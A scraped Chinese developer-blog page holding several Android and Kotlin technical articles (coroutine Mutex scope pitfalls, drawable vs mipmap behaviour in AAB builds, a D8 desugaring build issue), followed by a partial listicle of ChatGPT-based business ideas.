在其他领域的应用方面,ParcelFileDescriptor 和 MemoryFile也有着性能上的差异,主要取决于两个方面:



  • 数据的大小和类型。


如果数据是大型的文件或网络套接字,那么使用 ParcelFileDescriptor 可能更合适,因为它可以直接传递文件描述符,而不需要复制数据。如果数据是小型的内存块,那么使用 MemoryFile 可能更合适,因为它可以直接映射到物理内存,而不需要打开文件或网络套接字。



  • 数据的访问方式。


如果数据是需要频繁读写的,那么使用 MemoryFile 可能更合适,因为它可以提供输入输出流,实现进程内的数据流传输。如果数据是只需要一次性读取的,那么使用 ParcelFileDescriptor 可能更合适,因为它可以通过 ParcelFileDescriptor.createPipe() 方法创建一对 ParcelFileDescriptor 对象,分别用于读写管道中的数据,实现进程间的数据流传输。


本文示例demo的地址:github.com/linxu-link/…


好了,以上就是本文的所有内容了,感谢你的阅读,希望对你有所帮助。


作者:林栩link
链接:https://juejin.cn/post/7218615271384088633
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Kotlin 协程中的并发问题:我明明用 mutex 上锁了,为什么没有用?

前言 最近在接手的某项目中,主管给我发来了一个遗留以久的 BUG,让我看看排查一下,把它修复了。 项目的问题大概是在某项业务中,需要向数据库插入数据,而且需要保证同种类型的数据只被插入一次,但是现在却出现了数据被重复插入的情况。 我点开代码一看,上一个跑路的老...
继续阅读 »

前言


最近在接手的某项目中,主管给我发来了一个遗留以久的 BUG,让我看看排查一下,把它修复了。


项目的问题大概是在某项业务中,需要向数据库插入数据,而且需要保证同种类型的数据只被插入一次,但是现在却出现了数据被重复插入的情况。


我点开代码一看,上一个跑路的老哥写的非常谨慎啊,判断重复的逻辑嵌套了一层又一层,先在本地数据库查询一次没有重复后又请求服务器查询一次,最后在插入前再查询本地数据库一次。总共写了三层判重逻辑。但是为什么还是重复了呢?


再细看,哦,原来是用了协程异步查询啊,怪不得。


可是,不对啊,你不是用 Mutex 上锁了吗?怎么还会重复?


Mutex 你在干什么?你锁了什么?你看看你都守护了什么啊。


此时的 Mutex 就像我一般,什么都守护不住。


但是,真的怪 Mutex 吗?这篇文章我们就来浅析一下使用 Mutex 实现协程的并发可能导致失效的问题,为我们老实本份的 Mutex 洗清冤屈。


前置知识:关于协程和并发


众所周知,对于多线程程序,可能会出现同步问题,例如,下面这个经典的例子:


fun main() {
var count = 0

runBlocking {
repeat(1000) {
launch(Dispatchers.IO) {
count++
}
}
}

println(count)
}

你们说,以上代码会输出什么?


我不知道,我也没法知道,没错,确实是这样的。


因为在上面的代码中,我们循环 1000 次,每次都启动一个新的协程,然后在协程中对 count 进行自增操作。


问题就在于,我们没法保证对 count 的操作是同步的,因为我们不知道这些协程何时会被执行,也无法保证这些协程在执行时 count 的值没有被其他协程修改过。


这就导致,count 值最终会是不确定的。


另一个众所周知,kotlin 中的协程其实可以简单理解成对线程的封装,所以实际上不同的协程可能运行在同一个线程也可能运行在不同的线程。


我们给上面的代码加一个打印所在线程:


fun main() {
var count = 0

runBlocking {
repeat(1000) {
launch(Dispatchers.IO) {
println("Running on ${Thread.currentThread().name}")
count++
}
}
}

println(count)
}

截取其中一部分输出:


Running on DefaultDispatcher-worker-1
Running on DefaultDispatcher-worker-4
Running on DefaultDispatcher-worker-3
Running on DefaultDispatcher-worker-2
Running on DefaultDispatcher-worker-5
Running on DefaultDispatcher-worker-5
Running on DefaultDispatcher-worker-2
Running on DefaultDispatcher-worker-6
Running on DefaultDispatcher-worker-2
Running on DefaultDispatcher-worker-2
Running on DefaultDispatcher-worker-7
Running on DefaultDispatcher-worker-7
Running on DefaultDispatcher-worker-7
Running on DefaultDispatcher-worker-7

……

可以看到,不同的协程可能运行在不同的线程上,也可能同一个线程会被用来运行不同的协程。由于这个特性,所以协程也会存在多线程的并发问题。


那么,什么是并发呢?


简单理解,就是在同一个时间段内执行多个任务,此时为了实现这个目的,不同的任务可能会被拆分开来穿插着执行。


与之对应的,还有一个并行的概念,简单说就是多个任务在同一个时间点一起执行:


1.png


总之,不管是并行还是并发,都会涉及到对资源的“争夺”问题,因为在同一时间可能会有多个线程需要对同一个资源进行操作。此时就会出现上面举例的情况,由于多个线程都在对 count 进行操作,所以导致最终 count 的值会小于 1000,这也很好理解,比如此时 count 是 1,被线程 1 读取到之后,线程 1 开始对它进行 +1 操作,但是在线程1还没写完的时候,来了个线程2,也读了一下 count 发现它是1,也对它进行 +1 操作。此时,不管线程1和2谁先写完,最终 count 也只会是 2,显然,按照我们的需求,应该是想让它是 3 才对。


那解决这个也简单啊,我们就不要让有这么多线程不就行了,只要只有一个线程不就行了?


确实,我们指定所有协程只在一个线程上执行:


fun main() {
// 创建一个单线程上下文,并作为启动调度器
val dispatcher = newSingleThreadContext("singleThread")

var count = 0

runBlocking {
repeat(1000) {
// 这里也可以直接不指定调度器,这样就会使用默认的线程执行这个协程,换言之,都是在同一个线程执行
launch(dispatcher) {
println("Running on ${Thread.currentThread().name}")
count++
}
}
}

println(count)
}

截取最后的输出结果如下:


……
Running on singleThread
Running on singleThread
Running on singleThread
Running on singleThread
Running on singleThread
Running on singleThread
Running on singleThread
Running on singleThread
Running on singleThread
Running on singleThread
Running on singleThread
1000

Process finished with exit code 0

可以看到,输出的 count 结果终于是正确了,那么,为什么还会有我这篇文章的问题呢?


哈哈,其实你被我绕进去了。


我们用协程(线程)的目的是什么?不就是为了能够执行耗时任务或者可以让多个任务同时执行,减少执行时间吗?即然你都用单线程了,那么有什么意义?


毕竟这里我们举例的代码只对 count 这一个变量进行操作,确实没有开多线程的必要,但是实际工作中肯定不止这么一个操作啊,难道我们要因为某个变量被其他线程占用了就不继续往下走了?就这么呆呆的阻塞住原地等待?显然不现实,醒醒吧,世界不是只有 count ,还有很多数据等待我们处理。所以我们用多线程的目的就是为了能够在某个变量(资源)不可用的时候可以去处理其他未被占用的资源,从而缩短总的执行时间。


但是,如果其他的代码执行到一定程度,绕不开必须要使用被占用的资源怎么办?


不管正在占用的线程是否解除占用直接硬去拿这个资源继续处理?显然不现实,因为这样就会造成我们前言中所述的情况发生。


所以如果我们遇到需要使用被占用的资源时,应当暂停当前线程,直至占用被解除。


在 java 中通常有三种方式解决这个问题:



  1. synchronized

  2. AtomicInteger

  3. ReentrantLock


但是在 kotlin 的协程中使用它们不太合适,因为协程是非阻塞式的,当我们需要协程“暂停”的时候(如 delay(1000)),协程通常是被挂起,挂起的协程并不会阻塞它所在的线程,此时这个线程就可以腾出身去执行其他的任务。


而在 java 中需要线程暂停时(如 Thread.sleep(1000)),通常就是直接阻塞这个线程,此时这个线程就会被限制,直到阻塞结束。


在 kotlin 中,提供了一个轻量级的同步锁:Mutex


什么是 Mutex


Mutex 是在 kotlin 协程中用于替代 java 线程中 synchronizedReentrantLock 的类,用于为不应该被多个协程同时执行的代码上锁,例如为前面例子中的 count 自增代码上锁,这样可以保证它在同一时间点只会被一个协程执行,从而避免了由于多线程导致的数据修改问题。


Mutex 有两个核心方法: lock()unlock() ,分别用于上锁和解锁:


fun main() {
var count = 0
val mutex = Mutex()

runBlocking {
repeat(1000) {
launch(Dispatchers.IO) {
println("Running on ${Thread.currentThread().name}")
mutex.lock()
count++
mutex.unlock()
}
}
}

println(count)
}

上述代码输出截取如下:


……
Running on DefaultDispatcher-worker-47
Running on DefaultDispatcher-worker-20
Running on DefaultDispatcher-worker-38
Running on DefaultDispatcher-worker-15
Running on DefaultDispatcher-worker-14
Running on DefaultDispatcher-worker-19
Running on DefaultDispatcher-worker-48
1000

Process finished with exit code 0

可以看到,虽然协程运行在不同的线程,但是依然能够正确的对 count 进行修改操作。


这是因为我们在修改 count 值时调用了 mutex.lock() 此时保证了之后的代码块仅允许被当前协程执行,直至调用 mutex.unlock() 解除了锁定,其他协程才能继续执行这个代码块。


Mutex 的 lockunlock 原理可以简单的理解成,当调用 lock 时,如果这个锁没有被其他协程持有则持有该锁,并执行后面的代码;如果这个锁已经被其他协程持有,则当前协程进入挂起状态,直至锁被释放,并拿到了锁。当被挂起时,它所在的线程并不会被阻塞,而是可以去执行其他的任务。详细的原理可以看看参考资料2。


在实际使用中,我们一般不会直接使用 lock()unlock() ,因为如果在上锁后执行的代码中出现异常的话,将会造成持有的锁永远不会被释放,此时就会造成死锁,其他的协程将永远等待不到这个锁被释放,从而永远被挂起:


fun main() {
var count = 0
val mutex = Mutex()

runBlocking {
repeat(1000) {
launch(Dispatchers.IO) {
try {
mutex.lock()
println("Running on ${Thread.currentThread().name}")
count++
count / 0
mutex.unlock()
} catch (tr: Throwable) {
println(tr)
}
}
}
}

println(count)
}

上述代码输出:


Running on DefaultDispatcher-worker-1
java.lang.ArithmeticException: / by zero

并且程序将会一直执行下去,无法终止。


其实要解决这个问题也很简单,我们只需要加上 finally ,使这段代码无论是否执行成功都要释放掉锁即可:


fun main() {
var count = 0
val mutex = Mutex()

runBlocking {
repeat(1000) {
launch(Dispatchers.IO) {
try {
mutex.lock()
println("Running on ${Thread.currentThread().name}")
count++
count / 0
mutex.unlock()
} catch (tr: Throwable) {
println(tr)
} finally {
mutex.unlock()
}
}
}
}

println(count)
}

上述代码输出结果截取如下:


……

Running on DefaultDispatcher-worker-45
java.lang.ArithmeticException: / by zero
Running on DefaultDispatcher-worker-63
java.lang.ArithmeticException: / by zero
Running on DefaultDispatcher-worker-63
java.lang.ArithmeticException: / by zero
Running on DefaultDispatcher-worker-63
java.lang.ArithmeticException: / by zero
1000

Process finished with exit code 0

可以看到,虽然每个协程都报错了,但是程序是能执行完毕的,不会被完全挂起不动。


其实这里我们可以直接使用 Mutex 的扩展函数 withLock


fun main() {
var count = 0
val mutex = Mutex()

runBlocking {
repeat(1000) {
launch(Dispatchers.IO) {
mutex.withLock {
try {
println("Running on ${Thread.currentThread().name}")
count++
count / 0
} catch (tr: Throwable) {
println(tr)
}
}
}
}
}

println(count)
}

上述代码输出内容截取如下:


……
Running on DefaultDispatcher-worker-31
java.lang.ArithmeticException: / by zero
Running on DefaultDispatcher-worker-31
java.lang.ArithmeticException: / by zero
Running on DefaultDispatcher-worker-51
java.lang.ArithmeticException: / by zero
Running on DefaultDispatcher-worker-51
java.lang.ArithmeticException: / by zero
Running on DefaultDispatcher-worker-51
java.lang.ArithmeticException: / by zero
1000

可以看到,使用 withLock 后就不需要我们自己处理上锁和解锁了,只需要把要保证只被同时执行一次的代码放进它的参数中的高阶函数里就行。


这里看一下 withLock 的源码:


public suspend inline fun <T> Mutex.withLock(owner: Any? = null, action: () -> T): T {
// ……

lock(owner)
try {
return action()
} finally {
unlock(owner)
}
}

其实也非常的简单,就是在执行我们传入的 action 函数前调用 lock() 执行完毕后在 finally 中调用 unlock()


说了这么多,可能读者想问了,你在这讲了半天,是不是偏题了啊?你的标题呢?怎么还不说?


别急别急,这不就来了吗?


为什么我都 mutex.withLock 了却没用呢?


回到我们的标题和前言中的场景,为什么项目中明明使用了 mutex.Unlock 将查重代码上锁了,还是会出现重复插入的情况?


我知道你很急,但是你别急,容我再给你看个例子:


fun main() {
var count = 0
val mutex = Mutex()

runBlocking {
mutex.withLock {
repeat(10000) {
launch(Dispatchers.IO) {
count++
}
}
}
}

println(count)
}

你猜这段代码能输出 10000 吗?再看一段代码:


fun main() {
var count = 0
val mutex = Mutex()

runBlocking {
mutex.withLock {
repeat(100) {
launch(Dispatchers.IO) {
repeat(100) {
launch(Dispatchers.IO) {
count++
}
}
}
}
}
}

println(count)
}

这段呢?你们猜能输出 10000 吗?


其实只要我们稍微想一想就知道,这个显然不可能输出 10000 啊。


虽然我们在最顶层加了 mutex.lockWith 。但是,我们却在其中新开了很多新的协程,这就意味着,事实上这个锁约等于没有加。


还记得我们上面看过的 mutex.lockWith 的源码吗?


此处相当于刚 lock 上,启动了一个新协程,直接 unlock 了,但是实际需要上锁的代码应该是新启动的协程里面的代码啊。


所以,我们在上锁时应该尽可能的缩小上锁的粒度,只给需要的代码上锁:


fun main() {
var count = 0
val mutex = Mutex()

runBlocking {
repeat(100) {
launch(Dispatchers.IO) {
repeat(100) {
launch(Dispatchers.IO) {
mutex.withLock {
count++
}
}
}
}
}
}

println(count)
}

这里,我们需要上锁的其实就是对 count 的操作,所以我们只需要把上锁代码加给 count++ 即可,运行代码,完美输出 10000 。


有了上面的铺垫,我们再来看看我接手项目的简化代码原型:


fun main() {
val mutex = Mutex()

runBlocking {
mutex.withLock {
// 模拟同时调用了很多次插入函数
insertData("1")
insertData("1")
insertData("1")
insertData("1")
insertData("1")
}
}
}

fun insertData(data: String) {
CoroutineScope(Dispatchers.IO).launch {
// 这里写一些无关数据的业务逻辑
// xxxxxxx

// 这里进行查重 查重结果 couldInsert
if (couldInsert) {
launch(Dispatchers.IO) {
// 这里将数据插入数据库
}
}
}
}

你们猜,此时数据库会被插入几个 1


答案显然是无法预知,一二三四五次都有可能。


我们来猜一猜,这哥们在写这段代码时的心路历程:



产品:这里的插入数据需要注意一个类型只让插入一个数据啊

开发:好嘞,这还不简单,我在插入前加个查重就行了

提测后

测试:开发兄弟,你这里有问题啊,这个数据可以被重复插入啊

开发:哦?我看看,哦,这里查询数据库用了协程异步执行,那不就是并发问题吗?我搜搜看 kotlin 的协程这么解决并发,哦,用 mutex 啊,那简单啊。

于是开发一顿操作,直接在调用查重和插入数据的最上级函数中加了个 mutex.withlock 将整个处理逻辑全部上锁。并且觉得这样就万无一失了,高枕无忧了,末了还不忘给 kotlin 点个赞,加锁居然这么方便,不像 java 还得自己写一堆处理代码。

那么,我是这么解决这个问题的呢?最好的解决方案,其实应该是能够将上锁粒度细化到具体的数据库操作的地方,但是还记得我上面说的吗,这个项目中嵌套了一层又一层的查询代码,想要在这其中插入上锁代码显然不容易,我可不想因为往里面插一个锁直接导致整座大山倒塌。


所以我的选择是给每个 launch 了新协程的地方又加了一堆锁……


这座山,因为我,变得更高了,哈哈哈哈哈。


所以,其实并不是 mutex 有问题,有问题的只是使用的人罢了。


作者:equationl
链接:https://juejin.cn/post/7219522025198895159
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Android中drawable和mipmap到底有什么区别

老项目代码中发现有的图片放到了drawable中, 有的图片放到了mipmap中, 开发时秉承哪个目录下文件多放哪里的原则, 偶尔有疑惑搜一搜文章, 看到了结论也就这么使用了, 不过今日有时间, 依次检验了一下文章中的内容, 发现和实际的表现出入甚远. 常见...
继续阅读 »

老项目代码中发现有的图片放到了drawable中, 有的图片放到了mipmap中, 开发时秉承哪个目录下文件多放哪里的原则, 偶尔有疑惑搜一搜文章, 看到了结论也就这么使用了, 不过今日有时间, 依次检验了一下文章中的内容, 发现和实际的表现出入甚远.



常见的几种结论


Case 1 drawable会剔除其它密度, mipmap会保留全部(实际上最终的结论和这个有关联)



当xhdpi密度的手机在加载apk的时候Google是有一个优化的,是会剔除drawable其他密度的文件,只保留一个基本的drawable和drawable-xhdpi的文件,而mipmap是会全部保留的。




检测方法也比较简单, 在drawablemipmap不同密度的问价夹下分别放入同一类图片(图片标文字用于检查), 分别打包并检查其大小


Case1.1 安装包与应用大小






















安装包大小应用大小
drawable13.3 MB (14,016,841 字节)14.04MB
mipmap13.3 MB (14,017,191 字节)14.04MB

结论1.1

由此可见, 虽然两个安装包大小略有差异, 考虑到图片本身的大小(每张图片都在1Mb作用), 可以认为放入drawablemipmap文件夹中的图片在安装包和应用安装后没有差异


Case1.2 应用内表现


排除安装包的情况, 我们看一下在应用内的表现情况(通过adb shell wm density保证只修改手机的dpi信息)

























100420800
drawable
mipmap

结论1.2

由此可见, 文件不论放在哪个目录下, 在手机中都会正确的显示为其匹配的图片资源


Case 1.3 应用内缩放



如果一个 imageView 有缩放动画,使用 drawable 下的图片,会一直使用一张来缩放图片实现 imageView 缩放动画。
如果使用 mipmap 下的图片,会根据缩放程度自动选择比当前分辨率大而又最接近当前分辨率的图片来做缩放处理。



这个可能大家见得不是很多, 不过既然有这种说法, 那就来测试一下


drawable














小缩放比例大缩放比例

mipmap














小缩放比例大缩放比例

结论1.3

可以看到在缩放动画的过程中, 一直显示的都是同一个动画


Case 2 应用内性能



Google对mipmap的图片进行了性能优化, 使其可以表现的更好



drawable
















性能检查一览MEMORY10次图片加载平均时间
146

mipmap
















性能检查一览MEMORY10次图片加载平均时间
151

结论2

可以看到, 加载单张图片的情况下其性能基本一致,不排除图片太小/太少性能优化不明显的情况, 不过尝试单证图片重复加载的情况下依旧表现为性能相近的情况, 或许时只针对特殊类型有优化? 如各位知道的更详细, 欢迎和我进行交流.


Case3 启动图标



在查阅资料的时候, 发现多次提及minmap应用只放入应用的启动图标, 使其可以得到优化.




















100dpi420dpi800dpi

结论3

可以看到, 不同dpi的情况下应用图标的显示情况都是一致的. 其应用图标切换的边界值也是一致的.
关于420dpi和800dpi显示效果一样的情况, 因为种种原因, 应用图片在选择图片资源的时候, 需要将密度扩大25%左右1.


看到这里大家应该和我有着一样的疑惑, 既然drawable和mipmap下图片的表现不论是安装包还是应用内, 甚至连官方文档都这么说了, 为什么各种测试结果下来, 两者的表现基本的一致呢?


罪魁祸首 Bundle(.aab)


提到Bundle(.aab)国内的开发者可能都比较陌生, 甚至不少之前做过Google Play上架应用的都不是很熟悉. 这个其实在我们每次手动打包的时候都会出现.

简单来说.aab包一般用于Google Play商店使用, 在你从Google Play商店下载应用时, 它会根据你手机的实际使用情况来下载不同drawable中的资源. 以期望达到减少安装包大小的目的. (一般情况下手机dpi不会改变, 其它密度下的资源文件直到应用卸载时都不会被使用).


下面的测试使用到的工具为bundletool2, 简单来说, 就是模拟从Google Play下载应用和安装应用的过程.


安装包比较






















安装包(apks)大小应用大小
drawable5.91 MB (6,201,543 字节)6.22MB
mipmap12.6 MB (13,230,670 字节)13.26MB

应用内表现


























100420
drawable
mipmap
可以看到, 当图片放到drawable相关文件夹下的时候, 通过.aab包安装的应用会比放到minmap的下的应用小许多, 并且应用内更改dpi的时候页可以看到其不再能自动根据当前dpi选择对应的图片了.

结论


那么通过以上的测试, 我们可以得到以下结论了
以下结论均不涉及mipmap的性能优化相关(主要是暂未能设计好一个比较明确的测试对比)
以下测试机型为pixel 7, 测试Android版本为13



  1. 当应用构建为.apk的情况下, drawablemipmap文件夹下的资源表现无差异, 不论是应用内表现还是在启动器(应用图标)中表现.

  2. 当应用构建为.aab的情况下, drawable文件夹下的资源会寻找匹配的设备密度保留, 不匹配的资源会被删除已保证apk的大小.而mipmap文件夹下的资源文件会全部被保留.


那么我们应用内使用的图片就可以放到任意的目录下么?


如果你的应用是通过.apk分发安装的, 原则上是没有区别的. 但是Google对相关的目录也有推荐说明:


可以看到, mipmap目录下原则上只能保存应用图标. 同样, 其官方项目单密度资源项目也都是这样使用设计这两个文件夹的.


.aab包内mipmap保留机制是否是只适用于应用图标


测试后可以发现, mipmap的保留机制适用于mipmap下所有的图片资源, 不论是否为应用图标


相关代码可以访问我的GitHub


Footnotes




  1. developer.android.com/training/mu…




  2. github.com/google/bund…


作者:clwater
链接:https://juejin.cn/post/7179187950050082873
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

一次android.enableD8.desugaring = false引发的血案

问题: Kotlin升级引起的类找不到情况[其实跟Kotlin版本无关] java.lang.NoClassDefFoundError: Failed resolution of: Landroidx/lifecycle/LifecycleRegistry; ...
继续阅读 »

问题: Kotlin升级引起的类找不到情况[其实跟Kotlin版本无关]


java.lang.NoClassDefFoundError: Failed resolution of: Landroidx/lifecycle/LifecycleRegistry;
androidx.lifecycle.ProcessLifecycleOwner.<init>(ProcessLifecycleOwner.java:62)
androidx.lifecycle.ProcessLifecycleOwner.<clinit>(ProcessLifecycleOwner.java:89)
androidx.lifecycle.ProcessLifecycleOwner.init(ProcessLifecycleOwner.java:103)
androidx.lifecycle.ProcessLifecycleOwnerInitializer.onCreate(ProcessLifecycleOwnerInitializer.java:38)
android.content.ContentProvider.attachInfo(ContentProvider.java:2121)
android.content.ContentProvider.attachInfo(ContentProvider.java:2094)
android.app.ActivityThread.installProvider(ActivityThread.java:7900)
android.app.ActivityThread.installContentProviders(ActivityThread.java:7441)
android.app.ActivityThread.handleBindApplication(ActivityThread.java:7334)
android.app.ActivityThread.access$2400(ActivityThread.java:308)
android.app.ActivityThread$H.handleMessage(ActivityThread.java:2295)
ndroid.os.Handler.dispatchMessage(Handler.java:110)
android.os.Looper.loop(Looper.java:219)
android.app.ActivityThread.main(ActivityThread.java:8347)
java.lang.reflect.Method.invoke(Native Method)
com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:513)
com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1055)
AndroidRuntime: Caused by: java.lang.ClassNotFoundException: Didn't find class "androidx.lifecycle.LifecycleRegistry" on path: DexPathList[[dex file "InMemoryDexFile[cookie=[0, 3991625136]]", zip file "/data/app/com.secoo-4gTkhUPR4gWOZn_7R-7U9A==/base.apk"],nativeLibraryDirectories=[/data/app/com.secoo-4gTkhUPR4gWOZn_7R-7U9A==/lib/arm, /data/app/com.secoo-4gTkhUPR4gWOZn_7R-7U9A==/base.apk!/lib/armeabi-v7a, /system/lib, /hw_product/lib]]


最近公司项目打算升级kotlin至1.4.10版本, 兴致冲冲的修改了版本,紧接着就是两天的折磨期,程序一直出现ClassNotFoundExceptionNoClassDefFoundError,而且几乎每次报的不是同一个类找不到,而是随机的。后来反编译代码,查找找不到的类,果然在编译生成的classs.jar中找不到对应的类,所以怀疑是分包引起的异常。


开始逛国内外各大网站,还是没找到原因。最后使用最原始的方案,注掉一段段代码试,果然在坚持下,发现了猫腻,最终找到是因为项目根目录下gradle.properties中的android.enableD8.desugaring = false搞的鬼。


既然找到原因了,那么就开始找扒一扒为什么看似八竿子打不着的两处修改会有关联呢?


大致的原因:


kotlin升级导致引入了大量代码,这些代码使得项目达到一个临界值【猜想】,此时又关闭了dex包的脱糖处理,导致编译会在transforms生成desugar目录,desugar先进行脱糖,然后再通过D8的编译器进行编译,此时会在desugar目录中生成大量的jar文件,而如果开启了android.enableD8.desugaring = true,那么就会省略了desugar脱糖操作,将脱糖步骤集成进D8编译器,这样会省去了desugar目录中的大量文件。


接下来我们看看开启脱糖和关闭脱糖transforms文件下生成的文件具体信息。




  • 关闭脱糖的操作
    WeChat Image_20201105150309.png




  • 开启脱糖的操作
    WeChat Image_20201105150618.png




如上我们所说,当开启脱糖时,编译器生成的编译文件中没有desugar及其下的大量文件,直接将脱糖步骤集成进了D8编译器。


另外一点:在Android Studio3.1之后版本,gradle默认是开启了脱糖操作的,也就是:


android:enableD8=true
android.enableD8.desugaring = true

参考自:


http://www.jianshu.com/p/bb6fb79da…
stackoverflow.com/questions/4…


作者:kevinEegets
链接:https://juejin.cn/post/7216213764777181241
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

GPT-4风口来临!20个你可以起飞的姿势

聊天 GPT 正在席卷网络世界,它让人们赚了很多钱。 在本文中,列出了20 个最佳聊天 GPT 商业理念。 我们将介绍您可以使用聊天 GPT 创建的一些 AL工县示例,以及您可以作为个体创业者销售的不同服务。 全文目录: 1.聊天 GPT Saa...
继续阅读 »

聊天 GPT 正在席卷网络世界,它让人们赚了很多钱。


在本文中,列出了20 个最佳聊天 GPT 商业理念。


我们将介绍您可以使用聊天 GPT 创建的一些 AL工县示例,以及您可以作为个体创业者销售的不同服务。


全文目录:




  • 1.聊天 GPT SaaS 业务




  • 2. API 即服务




  • 3.AI自动优酷频道




  • 4. 社交媒体营销机构




  • 5. 使用聊天GPT创建课程




  • 6.开始按需打印商店




  • 7.AI 个人助理




  • 8.AI 自媒体助手




  • 9. 客户服务聊天机器人




  • 10. 财务规划应用程序




  • 11. 健康与保健应用程序




  • 12. 娱乐应用




  • 13. 数字副本




  • 14. 转录应用程序




  • 15.AI 旅游应用




  • 16. 新闻和信息应用程序




  • 17.AI 流媒体服务




  • 18.AI 网红营销




  • 19. 文案服务




  • 20. 编码服务




  • GPT商业理念-最后的话




1.聊天 GPT SaaS 业务


第一个也可能是最有利可图的聊天 GPT 商业理念是开展 SaaS 业务。


去GPT 并创建一个简单的单词计数器。您可以键入如下提示:


“编写工具网站的完整代码,计算文本区域中的字数。使用 HTML、CSS 和 JS”


图片


获得代码后,您可以打开Visual Studio代码,创建三个文件 JavaScript, CSS和HTML,然后简 单地粘贴代码。


我们有一个简单的单词计数器工具。


这就是您可以使用聊天 GPT 创建软件的方式。


您还可以告诉它以使界面更加有趣和用户友好。


你也可以在Code Canyon等网站上出售迷你JavaScript文件。


我知道很多人每个月都在Code Canyon上销售JS文件赚数千美元。


我玩过聊天 GPT,并在不到 1 小时的时间内创建了五个以上的工具。


但现在最大的问题是如何经受住竞争。我们有很多工具。那么如何竞争呢?


只需遵循这 4 条规则:




  1. 创建独特的界面。告诉乍得 GPT 并使用它,直到它创建最佳用户界面。




  2. 在一个网站中组合多个工具。




  3. 在Medium,Reddit和社交媒体上推广您的工具。




  4. 尝试找到低竞争的工具创意。




💡 专业提示


注意:请注意,即使使用 Chat GPT,构建软件也需要一些编码技能。如果您在这些领域没有经验,则可以将其外包给Fiverr等网站,人们已经使用聊天GPT提供网络编程服务。这是一种无需任何编码即可启动 SaaS 业务的简单方法。


2. API 即服务


下一个聊天 GPT 商业理念是创建一个 API 并将其出售为每月定期会员资格。这种方法的好处是无需投资即可开始。


但首先,什么是 API?


API 只是开发人员用来通过代码访问自己操作的数据的东西。


一个简单的例子。如果你现在想在Facebook上发布帖子,你只需要去你的手机或网络浏览器,打开Facebook并使用浏览器或Facebook界面发布。


如果您是开发人员,并且想使用自己的代码在应用程序中访问Facebook,该怎么办?您将需要使用Facebook API。所以简单地说,API就像一个经纪人。


这有点像你、开发人员和某个服务(如Facebook或其他任何东西)之间的中间人。现在,你知道什么是 API,让我们使用 Charge GPT 在几秒钟内创建一个。


在 Charge GPT 中,让我们测试创建一个生成代码的 API,以便任何人都可以在自己的应用程序中使用它。所以这是代码。


图片


您可以复制它,打开 Visual Studio,创建控制器,粘贴代码,API将在不到1分钟的时间内启动并运行。


现在,您需要发布此 APl。为此,您还可以询问聊天 GPT 我们可以在哪里免费发布此内容。在


这里,我们有多种选择,例如Microsoft Azure,AwS Lambda或Google Cloud。


图片


好的,现在,在哪里出售它?


让我们问问聊天 GPT。在这里,我们有很多市场,我们可以在其中发布我们的 API 并像 Rapid API 一样出售它等等。


图片


您甚至可以告诉聊天 GPT 用您想要的任何编程语言(如 Node、JS 或 Python)重写代码,任何您想要的内容。


棒。好吧,看起来很简单。是的。但主要问题在于 API 的想法。从哪里获得人们会购买或开发人员会购买的想法。


可以通过查看顶级API市场来获得一些想法:


● RapidAPI 是一个平台,使开发人员能够查找并连接到数千个 API。它提供各种类别的 API,包括金融、业务健康和媒体。


● ProgrammableWeb 是一个 API 目录,提供有关 API 和提供它们的公司的信息。它允许开发人员按类别搜索 API,并为 API 提供测试和集成工具。


● 邮递员 API 网络是来自领先公司的 API 集合,可用于测试和集成。包括来自PayPal,微软和谷歌等公司的API。


以下是您可以开发和销售的一些 API 即服务理念:


● 提供实时天气数据(包括当前状况、预报和历史数据)的天气 API。企业、开发人员和应用程序创建者可以使用它来向其用户提供与天气相关的信息。


● 一种图像识别API,可以对图片中的对象、场景和活动进行识别和分类。企业和开发人员使用它来创建可以自动识别和组织图像的应用程序,或训练机器学习模型。


● 一种社交媒体API,允许开发人员访问来自各种社交媒体平台(如Facebook,Twitter和Instagram)的数据。企业和开发人员可以使用它来分析社交媒体活动、跟踪指标或构建社交媒体营销工具。


● 一种基于位置的 API,允许开发人员访问与地理位置相关的数据,例如地图、兴趣点和交通信息。


● 一种支付 API,允许开发人员轻松地将各种支付方式(如信用卡、PayPal和 Apple Pay)集成到他们的 app 和网站中。


● 一种语音和语音识别 API,允许开发人员向其应用和设备添加语音控制功能。


● 一种自然语言处理 API,允许开发人员向其应用和设备添加自然语言理解。


3.AI自动优酷频道


看看现在在几乎任何平台上创建 AI 社交媒体形象变得多么容易。


使用聊天 GPT,您可以创建自己的全自动自媒体频道。


您只需转到聊天 GPT 并键入“给我写 1500 字的视频脚本......”。


目前这里唯一的限制是它还无法为您编辑视频。


但是一个真正强大的工具是Pictory AI,它是一个AI视频生成器,可以创建视频而无需制作任何实际镜头或录制您的声音


只需将您的脚本复制到 Pictory AI 中并将脚本推送到视频,即可将此脚本转换为带有 b-roll 的完整视频。


图片


以这种疯狂的创建内容的速度,您每天都可以创建数千条内容。


如果你是一个创作者,并且你将来不会使用人工智能来实际创建你的内容,从长远来看,你会失败。


4. 社交媒体营销机构


随着社交媒体平台逐年增长,越来越多的企业需要社交媒体的存在,因此对社交媒体管理服务的需求不断增加。


如果您选择这条路线,您可以直接向企业提供服务,并创办SMMA代理机构或在Fiverr或Upwork等自由职业平台上创建演出。


ChatGPT 可以通过多种方式为您提供帮助。它可以帮助您制定内容策略,并帮助您撰写引人入胜的社交媒体帖子和标题。


但是,重要的是要记住,社交媒体管理还涉及诸如选择和编辑图像以及回复评论之类的任务,这些任务仍然需要您的个人风格。


5. 使用聊天GPT创建课程


所以我们不得不谈论教育的转型。人们正在从专家那里在线购买课程和辅导计划,这些课程和辅导计划在某种程度上取代了对大学的需求,并不完全是大学的需求,而是很多人并不完全知道如何对待自己的生活。


对于真正小众的话题,例如学习钢琴或音频工程或博客或人们可以购买 1000 美元课程的这些独特事物,这一点变得越来越真实。


假设我们正在制作一个关于如何制作黄油的课程。您可以生成制作黄油的所有步骤的完整列表,并通过在此处和那里进行一些更改来添加您的专业知识,以获得整个课程的完美记录。


图片


如果你想为课程添加一些特定事物的图片,你可以从MidJourney获得不受版权保护的图像,并要求它制作一根扔进锅里的黄油。


图片


就这样,你会在平底锅里看到一张漂亮的黄油图片。


